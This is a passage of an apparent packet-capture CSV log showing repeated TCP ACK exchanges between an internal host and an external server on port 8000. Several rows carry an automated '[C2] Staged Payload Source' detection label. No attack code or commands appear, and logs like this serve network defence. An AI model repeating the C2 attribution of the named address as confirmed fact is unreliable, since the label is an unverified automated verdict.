Ack=614774839,bc24112907bbbc2411360d0c080045000029afde4000800640200a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45022, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16416, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:09.699798,155,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348aac40004006a547c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..G....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35500, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42311, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:10.699998,156,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afdf40008006401f0a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45023, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16415, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:10.700032,157,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348aad40004006a546c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..F....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35501, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42310, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:11.715423,158,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe040008006401e0a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45024, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16414, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:11.715434,159,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348aae40004006a545c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..E....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35502, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42309, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:12.715410,160,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe140008006401d0a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45025, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16413, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:12.715417,161,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348aaf40004006a544c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..D....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35503, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42308, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:13.731115,162,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe240008006401c0a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45026, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16412, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:13.731149,163,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab040004006a543c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..C....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35504, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42307, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:14.746763,164,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe340008006401b0a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45027, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16411, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:14.746776,165,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab140004006a542c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..B....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35505, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42306, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:15.762423,166,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe440008006401a0a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45028, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16410, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:15.762458,167,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab240004006a541c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..A....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35506, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42305, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:16.778088,168,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe54000800640190a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45029, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16409, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:16.778112,169,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab340004006a540c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..@....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35507, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42304, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:17.778236,170,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe64000800640180a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45030, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16408, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:17.778251,171,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 